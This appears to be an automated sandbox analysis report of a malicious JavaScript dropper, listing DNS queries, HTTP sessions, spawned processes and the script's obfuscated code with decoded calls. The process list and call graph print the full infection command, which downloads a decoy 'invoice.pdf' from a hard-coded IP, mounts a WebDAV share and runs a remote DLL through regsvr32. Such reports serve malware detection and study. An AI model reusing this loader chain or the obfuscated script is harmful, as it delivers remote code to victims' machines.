Jan 10, 2025 22:44:13.308217049 CET	1.1.1.1	192.168.2.8	0x2a77	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:44:15.507668972 CET	1.1.1.1	192.168.2.8	0x155c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:44:29.440967083 CET	1.1.1.1	192.168.2.8	0xb5f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:44:41.862634897 CET	1.1.1.1	192.168.2.8	0x48e7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:45:16.908025026 CET	1.1.1.1	192.168.2.8	0x15a6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:45:16.908025026 CET	1.1.1.1	192.168.2.8	0x15a6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7760	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:44:00.023227930 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:44:00.796562910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:44:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 22:44:00.796588898 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:44:00.796602011 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:44:00.796686888 CET	1236	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:44:00.796700954 CET	896	IN	Data Raw: 8f cf 44 e9 c0 d0 79 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 Data Ascii: DycyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M
Jan 10, 2025 22:44:00.796726942 CET	1236	IN	Data Raw: 96 00 60 07 95 ef c9 eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 Data Ascii: `j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOx
Jan 10, 2025 22:44:00.796745062 CET	1236	IN	Data Raw: c0 d0 26 86 9e 9f b5 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 Data Ascii: &1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b
Jan 10, 2025 22:44:00.796757936 CET	1236	IN	Data Raw: 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f 4d Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjRE
Jan 10, 2025 22:44:00.796829939 CET	1236	IN	Data Raw: d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c bc Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 22:44:00.796842098 CET	659	IN	Data Raw: a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 e6 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 22:44:00.840693951 CET	1236	IN	Data Raw: 8c a9 d9 7b 1c 5e 9e 61 5a ad e9 a1 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 Data Ascii: {^aZf\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	8080	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:44:02.609965086 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:44:03.411941051 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:44:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:43:56
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2305511452193571644.js"
Imagebase:	0x7ff782450000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:43:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Imagebase:	0x7ff76dab0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:43:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:43:57
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:44:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:44:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76dab0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:44:01
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff756810000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:44:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:44:02
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:44:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1636,i,16369455993486761657,17665433984222160941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	16:44:41
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ridab() {	ridab() ➔ undefined
1	bicqssjdd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tpcux = this[cbjtwl + hnava + kkumvtj + krqalmgg + akkjtfo + hwjysalj + finnt + firtul] ( this[ekeqtzfc + xbpafzsb + bdexqst + kkumvtj + xxlswpljx + cbjtwl + firtul][hzsqi + kkumvtj + akkjtfo + hnava + firtul + akkjtfo + cezbgedcn + uqvjg + zgojj + akkjtfo + bdexqst + firtul] ( ekeqtzfc + xbpafzsb + bdexqst + kkumvtj + xxlswpljx + cbjtwl + firtul + yjcidee + xbpafzsb + xkstvjr + akkjtfo + txmunb + txmunb ) [mmxvuduk + akkjtfo + jezekf + mmxvuduk + akkjtfo + hnava + lmmqqqc] ( kzhvi + ppwmjlu + bytusq + vmymli + zmqips + hzsqi + aluarv + mmxvuduk + mmxvuduk + bytusq + euwyxflha + iiztusds + zmqips + aluarv + xbpafzsb + bytusq + mmxvuduk + susjcpokl + hzsqi + akssbtwg + finnt + firtul + kkumvtj + akssbtwg + txmunb + buckmqh + ofycubuof + hnava + finnt + akkjtfo + txmunb + susjcpokl + hwjysalj + finnt + firtul + akkjtfo + kkumvtj + finnt + hnava + firtul + xxlswpljx + akssbtwg + finnt + hnava + txmunb + susjcpokl + smsrnlhbu + akssbtwg + bdexqst + hnava + txmunb + akkjtfo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( utngl = 0 ; utngl < bicqssjdd[txmunb + akkjtfo + finnt + jezekf + firtul + xkstvjr] ; ++ utngl )
4	{
5	if ( tpcux == bicqssjdd[utngl] )
6	{
7	tpcux = true;
8	break ;
9	}
10	}
11	if ( tpcux !== true )
12	this[ekeqtzfc + xbpafzsb + bdexqst + kkumvtj + xxlswpljx + cbjtwl + firtul][agkyh + uvudwhnpa + xxlswpljx + firtul] ( );
13	this[ekeqtzfc + xbpafzsb + bdexqst + kkumvtj + xxlswpljx + cbjtwl + firtul][hzsqi + kkumvtj + akkjtfo + hnava + firtul + akkjtfo + cezbgedcn + uqvjg + zgojj + akkjtfo + bdexqst + firtul] ( ekeqtzfc + xbpafzsb + bdexqst + kkumvtj + xxlswpljx + cbjtwl + firtul + yjcidee + xbpafzsb + xkstvjr + akkjtfo + txmunb + txmunb ) [kkumvtj + uvudwhnpa + finnt] ( bdexqst + ttatwmc + lmmqqqc + buckmqh + axqidz + bdexqst + buckmqh + cbjtwl + akssbtwg + dzqjfjzy + akkjtfo + kkumvtj + krqalmgg + xkstvjr + akkjtfo + txmunb + txmunb + yjcidee + akkjtfo + yrxflsi + akkjtfo + buckmqh + uwtfi + hzsqi + akssbtwg + ttatwmc + ttatwmc + hnava + finnt + lmmqqqc + buckmqh + fiirqnrz + hwjysalj + finnt + wynxb + akssbtwg + qvwwbuih + akkjtfo + uwtfi + ekeqtzfc + akkjtfo + uqvjg + mmxvuduk + akkjtfo + swsme + uvudwhnpa + akkjtfo + krqalmgg + firtul + buckmqh + uwtfi + cezbgedcn + uvudwhnpa + firtul + vkgxaf + xxlswpljx + txmunb + akkjtfo + buckmqh + syarytze + firtul + akkjtfo + ttatwmc + cbjtwl + syarytze + susjcpokl + xxlswpljx + finnt + wynxb + akssbtwg + xxlswpljx + bdexqst + akkjtfo + yjcidee + cbjtwl + lmmqqqc + nhcsavrg + buckmqh + xkstvjr + firtul + firtul + cbjtwl + abigmd + axqidz + axqidz + aqnnk + ukklzmxc + jpdiddh + yjcidee + aqnnk + tkuums + jpdiddh + yjcidee + aqnnk + yjcidee + aryiayo + atwzq + hwpgq + axqidz + xxlswpljx + finnt + wynxb + akssbtwg + xxlswpljx + bdexqst + akkjtfo + yjcidee + cbjtwl + xkstvjr + cbjtwl + fiirqnrz + zxnbqwb + zxnbqwb + krqalmgg + firtul + hnava + kkumvtj + firtul + buckmqh + syarytze + firtul + akkjtfo + ttatwmc + cbjtwl + syarytze + susjcpokl + xxlswpljx + finnt + wynxb + akssbtwg + xxlswpljx + bdexqst + akkjtfo + yjcidee + cbjtwl + lmmqqqc + nhcsavrg + zxnbqwb + zxnbqwb + bdexqst + ttatwmc + lmmqqqc + buckmqh + axqidz + bdexqst + buckmqh + finnt + akkjtfo + firtul + buckmqh + uvudwhnpa + krqalmgg + akkjtfo + buckmqh + susjcpokl + susjcpokl + aqnnk + ukklzmxc + jpdiddh + yjcidee + aqnnk + tkuums + jpdiddh + yjcidee + aqnnk + yjcidee + aryiayo + atwzq + hwpgq + lrjlixs + njjezvtpi + njjezvtpi + njjezvtpi + njjezvtpi + susjcpokl + lmmqqqc + hnava + wynxb + dzqjfjzy + dzqjfjzy + dzqjfjzy + kkumvtj + akssbtwg + akssbtwg + firtul + susjcpokl + zxnbqwb + zxnbqwb + bdexqst + ttatwmc + lmmqqqc + buckmqh + axqidz + bdexqst + buckmqh + kkumvtj + akkjtfo + jezekf + krqalmgg + wynxb + kkumvtj + jpdiddh + aryiayo + buckmqh + axqidz + krqalmgg + buckmqh + susjcpokl + susjcpokl + aqnnk + ukklzmxc + jpdiddh + yjcidee + aqnnk + tkuums + jpdiddh + yjcidee + aqnnk + yjcidee + aryiayo + atwzq + hwpgq + lrjlixs + njjezvtpi + njjezvtpi + njjezvtpi + njjezvtpi + susjcpokl + lmmqqqc + hnava + wynxb + dzqjfjzy + dzqjfjzy + dzqjfjzy + kkumvtj + akssbtwg + akssbtwg + firtul + susjcpokl + aqnnk + qspxwlwc + wbzhdvtjl + aryiayo + njjezvtpi + wbzhdvtjl + tkuums + aryiayo + tkuums + aqnnk + njjezvtpi + njjezvtpi + njjezvtpi + njjezvtpi + yjcidee + lmmqqqc + txmunb + txmunb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll",0,false) ➔ 0
14	}
15	dzqjfjzy = "F";
16	dzqjfjzy = "f";
17	dzqjfjzy = "a";
18	dzqjfjzy = "S";
19	dzqjfjzy = "M";
20	dzqjfjzy = "f";
21	dzqjfjzy = "D";
22	dzqjfjzy = "o";
23	dzqjfjzy = "D";
24	dzqjfjzy = "X";
25	dzqjfjzy = "s";
26	dzqjfjzy = "V";
27	dzqjfjzy = "I";
28	dzqjfjzy = "j";
29	dzqjfjzy = "j";
30	dzqjfjzy = "J";
31	dzqjfjzy = "d";
32	dzqjfjzy = "Y";
33	dzqjfjzy = "X";
34	dzqjfjzy = "Q";
35	dzqjfjzy = "f";
36	dzqjfjzy = "e";
37	dzqjfjzy = "e";
38	dzqjfjzy = "B";
39	dzqjfjzy = "t";
40	dzqjfjzy = "J";
41	dzqjfjzy = "L";
42	dzqjfjzy = "v";
43	dzqjfjzy = "D";
44	dzqjfjzy = "q";
45	dzqjfjzy = "o";
46	dzqjfjzy = "m";
47	dzqjfjzy = "N";
48	dzqjfjzy = "p";
49	dzqjfjzy = "w";
50	hzsqi = "Y";
51	hzsqi = "Z";
52	hzsqi = "f";
53	hzsqi = "p";
54	hzsqi = "C";
55	hzsqi = "h";
56	hzsqi = "O";
57	hzsqi = "B";
58	hzsqi = "e";
59	hzsqi = "o";
60	hzsqi = "y";
61	hzsqi = "L";
62	hzsqi = "o";
63	hzsqi = "C";
64	hzsqi = "f";
65	hzsqi = "c";
66	hzsqi = "g";
67	hzsqi = "l";
68	hzsqi = "Q";
69	hzsqi = "H";
70	hzsqi = "J";
71	hzsqi = "m";
72	hzsqi = "t";
73	hzsqi = "B";
74	hzsqi = "r";
75	hzsqi = "C";
76	hzsqi = "V";
77	hzsqi = "u";
78	hzsqi = "X";
79	hzsqi = "E";
80	hzsqi = "y";
81	hzsqi = "n";
82	hzsqi = "J";
83	hzsqi = "D";
84	hzsqi = "G";
85	hzsqi = "R";
86	hzsqi = "x";
87	hzsqi = "I";
88	hzsqi = "C";
89	hzsqi = "F";
90	hzsqi = "G";
91	hzsqi = "w";
92	hzsqi = "M";
93	hzsqi = "f";
94	hzsqi = "C";
95	axqidz = "e";
96	axqidz = "I";
97	axqidz = "d";
98	axqidz = "f";
99	axqidz = "I";
100	axqidz = "d";
101	axqidz = "X";
102	axqidz = "G";
103	axqidz = "l";
104	axqidz = "y";
105	axqidz = "r";
106	axqidz = "l";
107	axqidz = "b";
108	axqidz = "S";
109	axqidz = "K";
110	axqidz = "A";
111	axqidz = "T";
112	axqidz = "g";
113	axqidz = "Q";
114	axqidz = "A";
115	axqidz = "N";
116	axqidz = "b";
117	axqidz = "p";
118	axqidz = "F";
119	axqidz = "g";
120	axqidz = "P";
121	axqidz = "E";
122	axqidz = "Y";
123	axqidz = "t";
124	axqidz = "/";
125	hwjysalj = "I";
126	hwjysalj = "u";
127	hwjysalj = "Q";
128	hwjysalj = "O";
129	hwjysalj = "F";
130	hwjysalj = "A";
131	hwjysalj = "E";
132	hwjysalj = "y";
133	hwjysalj = "F";
134	hwjysalj = "F";
135	hwjysalj = "X";
136	hwjysalj = "m";
137	hwjysalj = "R";
138	hwjysalj = "O";
139	hwjysalj = "p";
140	hwjysalj = "x";
141	hwjysalj = "R";
142	hwjysalj = "F";
143	hwjysalj = "Z";
144	hwjysalj = "w";
145	hwjysalj = "I";
146	cbjtwl = "d";
147	cbjtwl = "z";
148	cbjtwl = "I";
149	cbjtwl = "J";
150	cbjtwl = "C";
151	cbjtwl = "a";
152	cbjtwl = "r";
153	cbjtwl = "m";
154	cbjtwl = "A";
155	cbjtwl = "j";
156	cbjtwl = "x";
157	cbjtwl = "Y";
158	cbjtwl = "R";
159	cbjtwl = "U";
160	cbjtwl = "c";
161	cbjtwl = "D";
162	cbjtwl = "r";
163	cbjtwl = "x";
164	cbjtwl = "v";
165	cbjtwl = "j";
166	cbjtwl = "v";
167	cbjtwl = "H";
168	cbjtwl = "J";
169	cbjtwl = "p";
170	cbjtwl = "v";
171	cbjtwl = "R";
172	cbjtwl = "D";
173	cbjtwl = "T";
174	cbjtwl = "U";
175	cbjtwl = "J";
176	cbjtwl = "f";
177	cbjtwl = "n";
178	cbjtwl = "N";
179	cbjtwl = "F";
180	cbjtwl = "C";
181	cbjtwl = "m";
182	cbjtwl = "p";
183	hwpgq = "T";
184	hwpgq = "x";
185	hwpgq = "O";
186	hwpgq = "I";
187	hwpgq = "W";
188	hwpgq = "S";
189	hwpgq = "x";
190	hwpgq = "u";
191	hwpgq = "R";
192	hwpgq = "f";
193	hwpgq = "j";
194	hwpgq = "n";
195	hwpgq = "h";
196	hwpgq = "H";
197	hwpgq = "H";
198	hwpgq = "h";
199	hwpgq = "j";
200	hwpgq = "s";
201	hwpgq = "S";
202	hwpgq = "v";
203	hwpgq = "Q";
204	hwpgq = "l";
205	hwpgq = "i";
206	hwpgq = "x";
207	hwpgq = "l";
208	hwpgq = "q";
209	hwpgq = "x";
210	hwpgq = "K";
211	hwpgq = "A";
212	hwpgq = "Q";
213	hwpgq = "5";
214	krqalmgg = "V";
215	krqalmgg = "m";
216	krqalmgg = "p";
217	krqalmgg = "i";
218	krqalmgg = "R";
219	krqalmgg = "h";
220	krqalmgg = "W";
